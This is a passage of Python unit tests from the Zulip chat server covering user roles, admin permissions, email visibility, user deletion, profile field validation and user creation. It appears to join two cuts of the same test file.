realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_EVERYONE, acting_user=None, ) # Check that moderator, member and guest all can access email when setting # is set to EMAIL_ADDRESS_VISIBILITY_EVERYONE. self.login("shiva") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) self.login("cordelia") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) self.login("polonius") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) class DeleteUserTest(ZulipTestCase): def test_do_delete_user(self) -> None: realm = get_realm("zulip") cordelia = self.example_user("cordelia") othello = self.example_user("othello") hamlet = self.example_user("hamlet") hamlet_personal_recipient = hamlet.recipient hamlet_user_id = hamlet.id hamlet_date_joined = hamlet.date_joined self.send_personal_message(cordelia, hamlet) self.send_personal_message(hamlet, cordelia) personal_message_ids_to_hamlet = Message.objects.filter( recipient=hamlet_personal_recipient ).values_list("id", flat=True) self.assertGreater(len(personal_message_ids_to_hamlet), 0) self.assertTrue(Message.objects.filter(sender=hamlet).exists()) huddle_message_ids_from_cordelia = [ self.send_huddle_message(cordelia, [hamlet, othello]) for i in range(3) ] huddle_message_ids_from_hamlet = [ self.send_huddle_message(hamlet, [cordelia, othello]) for i in range(3) ] huddle_with_hamlet_recipient_ids = list( Subscription.objects.filter( user_profile=hamlet, recipient__type=Recipient.HUDDLE ).values_list("recipient_id", flat=True) ) self.assertGreater(len(huddle_with_hamlet_recipient_ids), 0) do_delete_user(hamlet, acting_user=None) replacement_dummy_user = UserProfile.objects.get(id=hamlet_user_id, realm=realm) self.assertEqual( replacement_dummy_user.delivery_email, f"deleteduser{hamlet_user_id}@zulip.testserver" ) self.assertEqual(replacement_dummy_user.is_mirror_dummy, True) self.assertEqual(replacement_dummy_user.is_active, False) self.assertEqual(replacement_dummy_user.date_joined, hamlet_date_joined) self.assertEqual(Message.objects.filter(id__in=personal_message_ids_to_hamlet).count(), 0) # Huddle messages from hamlet should have been deleted, but messages of other participants should # be kept. self.assertEqual(Message.objects.filter(id__in=huddle_message_ids_from_hamlet).count(), 0) self.assertEqual(Message.objects.filter(id__in=huddle_message_ids_from_cordelia).count(), 3) self.assertEqual(Message.objects.filter(sender_id=hamlet_user_id).count(), 0) # Verify that the dummy user is subscribed to the deleted user's huddles, to keep huddle data # in a correct state. for recipient_id in huddle_with_hamlet_recipient_ids: self.assertTrue( Subscription.objects.filter( user_profile=replacement_dummy_user, recipient_id=recipient_id ).exists() ) class FakeEmailDomainTest(ZulipTestCase): def test_get_fake_email_domain(self) -> None: realm = get_realm("zulip") self.assertEqual("zulip.testserver", get_fake_email_domain(realm)) with self.settings(EXTERNAL_HOST="example.com"): self.assertEqual("zulip.example.com", get_fake_email_domain(realm)) @override_settings(FAKE_EMAIL_DOMAIN="fakedomain.com", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_get_fake_email_domain_realm_host_is_ip_addr(self) -> None: realm = get_realm("zulip") self.assertEqual("fakedomain.com", get_fake_email_domain(realm)) @override_settings(FAKE_EMAIL_DOMAIN="invaliddomain", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_invalid_fake_email_domain(self) -> None: realm = get_realm("zulip") with self.assertRaises(InvalidFakeEmailDomain): get_fake_email_domain(realm) @override_settings(FAKE_EMAIL_DOMAIN="127.0.0.1", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_invalid_fake_email_domain_ip(self) -> None: with self.assertRaises(InvalidFakeEmailDomain): realm = get_realm("zulip") get_fake_email_domain(realm)
import datetime from email.headerregistry import Address from typing import Any, Dict, Iterable, List, Mapping, Optional, TypeVar, Union from unittest import mock import orjson from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.contrib.sessions.models import Session from django.core.exceptions import ValidationError from django.test import override_settings from django.utils.timezone import now as timezone_now from confirmation.models import Confirmation from zerver.actions.create_user import do_create_user, do_reactivate_user from zerver.actions.invites import do_create_multiuse_invite_link, do_invite_users from zerver.actions.message_send import get_recipient_info from zerver.actions.muted_users import do_mute_user from zerver.actions.realm_settings import do_set_realm_property from zerver.actions.users import ( change_user_is_active, do_change_can_create_users, do_change_user_role, do_deactivate_user, do_delete_user, ) from zerver.lib.avatar import avatar_url, get_gravatar_url from zerver.lib.bulk_create import create_users from zerver.lib.create_user import copy_default_settings from zerver.lib.events import do_events_register from zerver.lib.exceptions import JsonableError from zerver.lib.send_email import ( clear_scheduled_emails, deliver_scheduled_emails, send_future_email, ) from zerver.lib.stream_topic import StreamTopicTarget from zerver.lib.test_classes import ZulipTestCase from zerver.lib.test_helpers import ( cache_tries_captured, get_subscription, get_test_image_file, queries_captured, reset_emails_in_zulip_realm, simulated_empty_cache, ) from zerver.lib.upload import upload_avatar_image from zerver.lib.user_groups import get_system_user_group_for_user from zerver.lib.user_topics import add_topic_mute from zerver.lib.users import Accounts, access_user_by_id, get_accounts_for_email, user_ids_to_users from zerver.lib.utils import assert_is_not_none from zerver.models import ( CustomProfileField, InvalidFakeEmailDomain, Message, PreregistrationUser, Realm, RealmDomain, RealmUserDefault, Recipient, ScheduledEmail, Stream, Subscription, UserGroupMembership, UserHotspot, UserProfile, check_valid_user_ids, filter_to_valid_prereg_users, get_client, get_fake_email_domain, get_realm, get_source_profile, get_stream, get_system_bot, get_user, get_user_by_delivery_email, get_user_by_id_in_realm_including_cross_realm, ) K = TypeVar("K") V = TypeVar("V") def find_dict(lst: Iterable[Dict[K, V]], k: K, v: V) -> Dict[K, V]: for dct in lst: if dct[k] == v: return dct raise AssertionError(f"Cannot find element in list where key {k} == {v}") class PermissionTest(ZulipTestCase): def test_role_setters(self) -> None: user_profile = self.example_user("hamlet") user_profile.is_realm_admin = True self.assertEqual(user_profile.is_realm_admin, True) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_guest = False self.assertEqual(user_profile.is_guest, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_realm_owner = False self.assertEqual(user_profile.is_realm_owner, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_moderator = False self.assertEqual(user_profile.is_moderator, False) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_ADMINISTRATOR) user_profile.is_realm_admin = False self.assertEqual(user_profile.is_realm_admin, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_guest = True self.assertEqual(user_profile.is_guest, True) self.assertEqual(user_profile.role, UserProfile.ROLE_GUEST) user_profile.is_realm_admin = False self.assertEqual(user_profile.is_guest, True) self.assertEqual(user_profile.role, UserProfile.ROLE_GUEST) user_profile.is_guest = False self.assertEqual(user_profile.is_guest, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_realm_owner = True self.assertEqual(user_profile.is_realm_owner, True) self.assertEqual(user_profile.role, UserProfile.ROLE_REALM_OWNER) user_profile.is_realm_owner = False self.assertEqual(user_profile.is_realm_owner, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) user_profile.is_moderator = True self.assertEqual(user_profile.is_moderator, True) self.assertEqual(user_profile.role, UserProfile.ROLE_MODERATOR) user_profile.is_moderator = False self.assertEqual(user_profile.is_moderator, False) self.assertEqual(user_profile.role, UserProfile.ROLE_MEMBER) def test_get_admin_users(self) -> None: user_profile = self.example_user("hamlet") do_change_user_role(user_profile, UserProfile.ROLE_MEMBER, acting_user=None) self.assertFalse(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertFalse(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertFalse(user_profile in admin_users) do_change_user_role(user_profile, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.assertFalse(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertTrue(user_profile in admin_users) do_change_user_role(user_profile, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.assertTrue(user_profile.is_realm_owner) admin_users = user_profile.realm.get_human_admin_users() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_human_admin_users(include_realm_owners=False) self.assertFalse(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots() self.assertTrue(user_profile in admin_users) admin_users = user_profile.realm.get_admin_users_and_bots(include_realm_owners=False) self.assertFalse(user_profile in admin_users) def test_get_first_human_user(self) -> None: realm = get_realm("zulip") UserProfile.objects.filter(realm=realm).delete() UserProfile.objects.create( realm=realm, email="bot1@zulip.com", delivery_email="bot1@zulip.com", is_bot=True ) first_human_user = UserProfile.objects.create( realm=realm, email="user1@zulip.com", delivery_email="user1@zulip.com", is_bot=False ) UserProfile.objects.create( realm=realm, email="user2@zulip.com", delivery_email="user2@zulip.com", is_bot=False ) UserProfile.objects.create( realm=realm, email="bot2@zulip.com", delivery_email="bot2@zulip.com", is_bot=True ) self.assertEqual(first_human_user, realm.get_first_human_user()) def test_updating_non_existent_user(self) -> None: self.login("hamlet") admin = self.example_user("hamlet") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) invalid_user_id = 1000 result = self.client_patch(f"/json/users/{invalid_user_id}", {}) self.assert_json_error(result, "No such user") def test_owner_api(self) -> None: self.login("iago") desdemona = self.example_user("desdemona") othello = self.example_user("othello") iago = self.example_user("iago") realm = iago.realm do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) result = self.client_get("/json/users") self.assert_json_success(result) members = result.json()["members"] iago_dict = find_dict(members, "email", iago.email) self.assertTrue(iago_dict["is_owner"]) othello_dict = find_dict(members, "email", othello.email) self.assertFalse(othello_dict["is_owner"]) req = dict(role=UserProfile.ROLE_REALM_OWNER) events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertTrue(othello in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_REALM_OWNER) req = dict(role=UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertFalse(othello in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) # Cannot take away from last owner self.login("desdemona") req = dict(role=UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{iago.id}", req) self.assert_json_success(result) owner_users = realm.get_human_owner_users() self.assertFalse(iago in owner_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], iago.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) with self.tornado_redirected_to_list([], expected_num_events=0): result = self.client_patch(f"/json/users/{desdemona.id}", req) self.assert_json_error( result, "The owner permission cannot be removed from the only organization owner." ) do_change_user_role(iago, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.login("iago") with self.tornado_redirected_to_list([], expected_num_events=0): result = self.client_patch(f"/json/users/{desdemona.id}", req) self.assert_json_error(result, "Must be an organization owner") def test_admin_api(self) -> None: self.login("desdemona") hamlet = self.example_user("hamlet") othello = self.example_user("othello") desdemona = self.example_user("desdemona") realm = hamlet.realm # Make sure we see is_admin flag in /json/users result = self.client_get("/json/users") self.assert_json_success(result) members = result.json()["members"] desdemona_dict = find_dict(members, "email", desdemona.email) self.assertTrue(desdemona_dict["is_admin"]) othello_dict = find_dict(members, "email", othello.email) self.assertFalse(othello_dict["is_admin"]) # Giveth req = dict(role=orjson.dumps(UserProfile.ROLE_REALM_ADMINISTRATOR).decode()) events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) admin_users = realm.get_human_admin_users() self.assertTrue(othello in admin_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_REALM_ADMINISTRATOR) # Taketh away req = dict(role=orjson.dumps(UserProfile.ROLE_MEMBER).decode()) with self.tornado_redirected_to_list(events, expected_num_events=4): result = self.client_patch(f"/json/users/{othello.id}", req) self.assert_json_success(result) admin_users = realm.get_human_admin_users() self.assertFalse(othello in admin_users) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], othello.id) self.assertEqual(person["role"], UserProfile.ROLE_MEMBER) # Make sure only admins can patch other user's info. self.login("othello") result = self.client_patch(f"/json/users/{hamlet.id}", req) self.assert_json_error(result, "Insufficient permission") def test_admin_api_hide_emails(self) -> None: reset_emails_in_zulip_realm() user = self.example_user("hamlet") admin = self.example_user("iago") self.login_user(user) # First, verify client_gravatar works normally result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], user.email) self.assertIsNone(hamlet["avatar_url"]) self.assertNotIn("delivery_email", hamlet) # Also verify the /events code path. This is a bit hacky, but # we need to verify client_gravatar is not being overridden. with mock.patch( "zerver.lib.events.request_event_queue", return_value=None ) as mock_request_event_queue: with self.assertRaises(JsonableError): do_events_register(user, get_client("website"), client_gravatar=True) self.assertEqual(mock_request_event_queue.call_args_list[0][0][3], True) ############################################################# # Now, switch email address visibility, check client_gravatar # is automatically disabled for the user. with self.captureOnCommitCallbacks(execute=True): do_set_realm_property( user.realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS, acting_user=None, ) result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], f"user{user.id}@zulip.testserver") # Note that the Gravatar URL should still be computed from the # `delivery_email`; otherwise, we won't be able to serve the # user's Gravatar. self.assertEqual(hamlet["avatar_url"], get_gravatar_url(user.delivery_email, 1)) self.assertNotIn("delivery_email", hamlet) # Also verify the /events code path. This is a bit hacky, but # basically we want to verify client_gravatar is being # overridden. with mock.patch( "zerver.lib.events.request_event_queue", return_value=None ) as mock_request_event_queue: with self.assertRaises(JsonableError): do_events_register(user, get_client("website"), client_gravatar=True) self.assertEqual(mock_request_event_queue.call_args_list[0][0][3], False) # client_gravatar is still turned off for admins. In theory, # it doesn't need to be, but client-side changes would be # required in apps like the mobile apps. # delivery_email is sent for admins. admin.refresh_from_db() user.refresh_from_db() self.login_user(admin) result = self.client_get("/json/users", {"client_gravatar": "true"}) self.assert_json_success(result) members = result.json()["members"] hamlet = find_dict(members, "user_id", user.id) self.assertEqual(hamlet["email"], f"user{user.id}@zulip.testserver") self.assertEqual(hamlet["avatar_url"], get_gravatar_url(user.delivery_email, 1)) self.assertEqual(hamlet["delivery_email"], self.example_email("hamlet")) def test_user_cannot_promote_to_admin(self) -> None: self.login("hamlet") req = dict(role=orjson.dumps(UserProfile.ROLE_REALM_ADMINISTRATOR).decode()) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Insufficient permission") def test_admin_user_can_change_full_name(self) -> None: new_name = "new name" self.login("iago") hamlet = self.example_user("hamlet") req = dict(full_name=new_name) result = self.client_patch(f"/json/users/{hamlet.id}", req) self.assert_json_success(result) hamlet = self.example_user("hamlet") self.assertEqual(hamlet.full_name, new_name) def test_non_admin_cannot_change_full_name(self) -> None: self.login("hamlet") req = dict(full_name="new name") result = self.client_patch("/json/users/{}".format(self.example_user("othello").id), req) self.assert_json_error(result, "Insufficient permission") def test_admin_cannot_set_long_full_name(self) -> None: new_name = "a" * (UserProfile.MAX_NAME_LENGTH + 1) self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Name too long!") def test_admin_cannot_set_short_full_name(self) -> None: new_name = "a" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Name too short!") def test_not_allowed_format(self) -> None: # Name of format "Alice|999" breaks in Markdown new_name = "iago|72" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid format!") def test_allowed_format_complex(self) -> None: # Adding characters after r'|d+' doesn't break Markdown new_name = "Hello- 12iago|72k" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_success(result) def test_not_allowed_format_complex(self) -> None: new_name = "Hello- 12iago|72" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid format!") def test_admin_cannot_set_full_name_with_invalid_characters(self) -> None: new_name = "Opheli*" self.login("iago") req = dict(full_name=new_name) result = self.client_patch("/json/users/{}".format(self.example_user("hamlet").id), req) self.assert_json_error(result, "Invalid characters in name!") def test_access_user_by_id(self) -> None: iago = self.example_user("iago") # Must be a valid user ID in the realm with self.assertRaises(JsonableError): access_user_by_id(iago, 1234, for_admin=False) with self.assertRaises(JsonableError): access_user_by_id(iago, self.mit_user("sipbtest").id, for_admin=False) # Can only access bot users if allow_bots is passed bot = self.example_user("default_bot") access_user_by_id(iago, bot.id, allow_bots=True, for_admin=True) with self.assertRaises(JsonableError): access_user_by_id(iago, bot.id, for_admin=True) # Can only access deactivated users if allow_deactivated is passed hamlet = self.example_user("hamlet") do_deactivate_user(hamlet, acting_user=None) with self.assertRaises(JsonableError): access_user_by_id(iago, hamlet.id, for_admin=False) with self.assertRaises(JsonableError): access_user_by_id(iago, hamlet.id, for_admin=True) access_user_by_id(iago, hamlet.id, allow_deactivated=True, for_admin=True) # Non-admin user can't admin another user with self.assertRaises(JsonableError): access_user_by_id( self.example_user("cordelia"), self.example_user("aaron").id, for_admin=True ) # But does have read-only access to it. access_user_by_id( self.example_user("cordelia"), self.example_user("aaron").id, for_admin=False ) def check_property_for_role(self, user_profile: UserProfile, role: int) -> bool: if role == UserProfile.ROLE_REALM_ADMINISTRATOR: return ( user_profile.is_realm_admin and not user_profile.is_guest and not user_profile.is_realm_owner and not user_profile.is_moderator ) elif role == UserProfile.ROLE_REALM_OWNER: return ( user_profile.is_realm_owner and user_profile.is_realm_admin and not user_profile.is_moderator and not user_profile.is_guest ) elif role == UserProfile.ROLE_MODERATOR: return ( user_profile.is_moderator and not user_profile.is_realm_owner and not user_profile.is_realm_admin and not user_profile.is_guest ) if role == UserProfile.ROLE_MEMBER: return ( not user_profile.is_guest and not user_profile.is_moderator and not user_profile.is_realm_admin and not user_profile.is_realm_owner ) assert role == UserProfile.ROLE_GUEST return ( user_profile.is_guest and not user_profile.is_moderator and not user_profile.is_realm_admin and not user_profile.is_realm_owner ) def check_user_role_change( self, user_email: str, new_role: int, ) -> None: self.login("desdemona") user_profile = self.example_user(user_email) old_role = user_profile.role old_system_group = get_system_user_group_for_user(user_profile) self.assertTrue(self.check_property_for_role(user_profile, old_role)) self.assertTrue( UserGroupMembership.objects.filter( user_profile=user_profile, user_group=old_system_group ).exists() ) req = dict(role=orjson.dumps(new_role).decode()) events: List[Mapping[str, Any]] = [] num_events = 3 if UserProfile.ROLE_MEMBER in [old_role, new_role]: num_events = 4 with self.tornado_redirected_to_list(events, expected_num_events=num_events): result = self.client_patch(f"/json/users/{user_profile.id}", req) self.assert_json_success(result) user_profile = self.example_user(user_email) self.assertTrue(self.check_property_for_role(user_profile, new_role)) system_group = get_system_user_group_for_user(user_profile) self.assertTrue( UserGroupMembership.objects.filter( user_profile=user_profile, user_group=system_group ).exists() ) person = events[0]["event"]["person"] self.assertEqual(person["user_id"], user_profile.id) self.assertTrue(person["role"], new_role) def test_change_regular_member_to_guest(self) -> None: self.check_user_role_change("hamlet", UserProfile.ROLE_GUEST) def test_change_guest_to_regular_member(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_MEMBER) def test_change_admin_to_guest(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_GUEST) def test_change_guest_to_admin(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_owner_to_guest(self) -> None: self.login("desdemona") iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_GUEST) def test_change_guest_to_owner(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_REALM_OWNER) def test_change_admin_to_owner(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_REALM_OWNER) def test_change_owner_to_admin(self) -> None: self.login("desdemona") iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_owner_to_moderator(self) -> None: iago = self.example_user("iago") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) self.check_user_role_change("iago", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_owner(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_REALM_OWNER) def test_change_admin_to_moderator(self) -> None: self.check_user_role_change("iago", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_admin(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_REALM_ADMINISTRATOR) def test_change_guest_to_moderator(self) -> None: self.check_user_role_change("polonius", UserProfile.ROLE_MODERATOR) def test_change_moderator_to_guest(self) -> None: self.check_user_role_change("shiva", UserProfile.ROLE_GUEST) def test_admin_user_can_change_profile_data(self) -> None: realm = get_realm("zulip") self.login("iago") new_profile_data = [] cordelia = self.example_user("cordelia") # Test for all type of data fields = { "Phone number": "short text data", "Biography": "long text data", "Favorite food": "short text data", "Favorite editor": "vim", "Birthday": "1909-03-05", "Favorite website": "https://zulip.com", "Mentor": [cordelia.id], "GitHub": "timabbott", } for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) new_profile_data.append( { "id": field.id, "value": fields[field_name], } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_success(result) cordelia = self.example_user("cordelia") for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], fields[field_dict["name"]]) # Test admin user cannot set invalid profile data invalid_fields = [ ( "Favorite editor", "invalid choice", "'invalid choice' is not a valid choice for 'Favorite editor'.", ), ("Birthday", "1909-34-55", "Birthday is not a date"), ("Favorite website", "not url", "Favorite website is not a URL"), ("Mentor", "not list of user ids", "User IDs is not a list"), ] for field_name, field_value, error_msg in invalid_fields: new_profile_data = [] field = CustomProfileField.objects.get(name=field_name, realm=realm) new_profile_data.append( { "id": field.id, "value": field_value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()}, ) self.assert_json_error(result, error_msg) # non-existent field and no data invalid_profile_data = [ { "id": 9001, "value": "", } ] result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(invalid_profile_data).decode()}, ) self.assert_json_error(result, "Field id 9001 not found.") # non-existent field and data invalid_profile_data = [ { "id": 9001, "value": "some data", } ] result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(invalid_profile_data).decode()}, ) self.assert_json_error(result, "Field id 9001 not found.") # Test for clearing/resetting field values. empty_profile_data = [] for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) value: Union[str, None, List[Any]] = "" if field.field_type == CustomProfileField.USER: value = [] empty_profile_data.append( { "id": field.id, "value": value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(empty_profile_data).decode()}, ) self.assert_json_success(result) for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], None) # Test adding some of the field values after removing all. hamlet = self.example_user("hamlet") new_fields = { "Phone number": None, "Biography": "A test user", "Favorite food": None, "Favorite editor": None, "Birthday": None, "Favorite website": "https://zulip.github.io", "Mentor": [hamlet.id], "GitHub": "timabbott", } new_profile_data = [] for field_name in fields: field = CustomProfileField.objects.get(name=field_name, realm=realm) value = None if new_fields[field_name]: value = new_fields[field_name] new_profile_data.append( { "id": field.id, "value": value, } ) result = self.client_patch( f"/json/users/{cordelia.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_success(result) for field_dict in cordelia.profile_data(): with self.subTest(field_name=field_dict["name"]): self.assertEqual(field_dict["value"], new_fields[str(field_dict["name"])]) def test_non_admin_user_cannot_change_profile_data(self) -> None: self.login("cordelia") hamlet = self.example_user("hamlet") realm = get_realm("zulip") new_profile_data = [] field = CustomProfileField.objects.get(name="Biography", realm=realm) new_profile_data.append( { "id": field.id, "value": "New hamlet Biography", } ) result = self.client_patch( f"/json/users/{hamlet.id}", {"profile_data": orjson.dumps(new_profile_data).decode()} ) self.assert_json_error(result, "Insufficient permission") result = self.client_patch( "/json/users/{}".format(self.example_user("cordelia").id), {"profile_data": orjson.dumps(new_profile_data).decode()}, ) self.assert_json_error(result, "Insufficient permission") class QueryCountTest(ZulipTestCase): def test_create_user_with_multiple_streams(self) -> None: # add_new_user_history needs messages to be current Message.objects.all().update(date_sent=timezone_now()) ContentType.objects.clear_cache() # This just focuses on making sure we don't too many # queries/cache tries or send too many events. realm = get_realm("zulip") self.make_stream("private_stream1", invite_only=True) self.make_stream("private_stream2", invite_only=True) stream_names = [ "Denmark", "Scotland", "Verona", "private_stream1", "private_stream2", ] streams = [get_stream(stream_name, realm) for stream_name in stream_names] invite_expires_in_days = 4 do_invite_users( user_profile=self.example_user("hamlet"), invitee_emails=["fred@zulip.com"], streams=streams, invite_expires_in_days=invite_expires_in_days, ) prereg_user = PreregistrationUser.objects.get(email="fred@zulip.com") events: List[Mapping[str, Any]] = [] with queries_captured() as queries: with cache_tries_captured() as cache_tries: with self.tornado_redirected_to_list(events, expected_num_events=10): fred = do_create_user( email="fred@zulip.com", password="password", realm=realm, full_name="Fred Flintstone", prereg_user=prereg_user, acting_user=None, ) self.assert_length(queries, 90) self.assert_length(cache_tries, 29) peer_add_events = [event for event in events if event["event"].get("op") == "peer_add"] notifications = set() for event in peer_add_events: stream_ids = event["event"]["stream_ids"] stream_names = sorted(Stream.objects.get(id=stream_id).name for stream_id in stream_ids) self.assertTrue(event["event"]["user_ids"], {fred.id}) notifications.add(",".join(stream_names)) self.assertEqual( notifications, {"Denmark,Scotland,Verona", "private_stream1", "private_stream2"} ) class BulkCreateUserTest(ZulipTestCase): def test_create_users(self) -> None: realm = get_realm("zulip") realm.email_address_visibility = Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS realm.save() name_list = [ ("Fred Flintstone", "fred@zulip.com"), ("Lisa Simpson", "lisa@zulip.com"), ] create_users(realm, name_list) fred = get_user_by_delivery_email("fred@zulip.com", realm) self.assertEqual( fred.email, f"user{fred.id}@zulip.testserver", ) lisa = get_user_by_delivery_email("lisa@zulip.com", realm) self.assertEqual(lisa.full_name, "Lisa Simpson") self.assertEqual(lisa.is_bot, False) self.assertEqual(lisa.bot_type, None) realm.email_address_visibility = Realm.EMAIL_ADDRESS_VISIBILITY_EVERYONE realm.save() name_list = [ ("Bono", "bono@zulip.com"), ("Cher", "cher@zulip.com"), ] create_users(realm, name_list) bono = get_user_by_delivery_email("bono@zulip.com", realm) self.assertEqual(bono.email, "bono@zulip.com") self.assertEqual(bono.delivery_email, "bono@zulip.com") cher = get_user_by_delivery_email("cher@zulip.com", realm) self.assertEqual(cher.full_name, "Cher") class AdminCreateUserTest(ZulipTestCase): def test_create_user_backend(self) -> None: # This test should give us complete coverage on # create_user_backend. It mostly exercises error # conditions, and it also does a basic test of the success # path. admin = self.example_user("hamlet") realm = admin.realm self.login_user(admin) do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) valid_params = dict( email="romeo@zulip.net", password="xxxx", full_name="Romeo Montague", ) self.assertEqual(admin.can_create_users, False) result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "User not authorized for this query") do_change_can_create_users(admin, True) # can_create_users is insufficient without being a realm administrator: do_change_user_role(admin, UserProfile.ROLE_MEMBER, acting_user=None) result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Must be an organization administrator") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) result = self.client_post("/json/users", {}) self.assert_json_error(result, "Missing 'email' argument") result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", ), ) self.assert_json_error(result, "Missing 'password' argument") result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", password="xxxx", ), ) self.assert_json_error(result, "Missing 'full_name' argument") # Test short_name gets properly ignored result = self.client_post( "/json/users", dict( email="romeo@zulip.com", password="xxxx", full_name="Romeo Montague", short_name="DEPRECATED", ), ) self.assert_json_success(result) result = self.client_post( "/json/users", dict( email="broken", password="xxxx", full_name="Romeo Montague", ), ) self.assert_json_error(result, "Bad name or username") do_set_realm_property(realm, "emails_restricted_to_domains", True, acting_user=None) result = self.client_post( "/json/users", dict( email="romeo@not-zulip.com", password="xxxx", full_name="Romeo Montague", ), ) self.assert_json_error( result, "Email 